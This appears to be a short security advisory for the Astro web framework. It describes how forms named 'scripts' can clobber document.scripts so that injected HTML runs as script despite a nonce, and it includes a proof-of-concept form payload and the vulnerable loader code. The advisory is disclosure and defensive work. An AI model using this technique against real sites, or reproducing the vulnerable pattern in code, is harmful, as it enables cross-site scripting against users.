Astro is a website build tool for the modern web — powerful developer experience meets lightweight output.
The Astro library was using the document.scripts
property to load additional scripts. The content of the nodes was then used as the new script content.
<!-- user input -->
<form name="scripts">alert(document.domain)</form>
<form name="scripts"></form>
<script nonce="secret">
function runScripts() {
for (const script of Array.from(document.scripts)) {
if (script.dataset.astroExec === '') continue;
const type = script.getAttribute('type');
if (type && type !== 'module' && type !== 'text/javascript') continue;
const newScript = document.createElement('script');
newScript.innerHTML = script.innerHTML;
for (const attr of script.attributes) {
newScript.setAttribute(attr.name, attr.value);
}
newScript.dataset.astroExec = '';
script.replaceWith(newScript);
}
}
runScripts();
</script>
Root Cause
function runScripts() {
for (const script of Array.from(document.scripts)) {
if (script.dataset.astroExec === '') continue;
const type = script.getAttribute('type');
if (type && type !== 'module' && type !== 'text/javascript') continue;
const newScript = document.createElement('script');
newScript.innerHTML = script.innerHTML;
for (const attr of script.attributes) {
newScript.setAttribute(attr.name, attr.value);
}
newScript.dataset.astroExec = '';
script.replaceWith(newScript);
}
}
runScripts();
Related links:
Found by jackfromeast, ishmeals.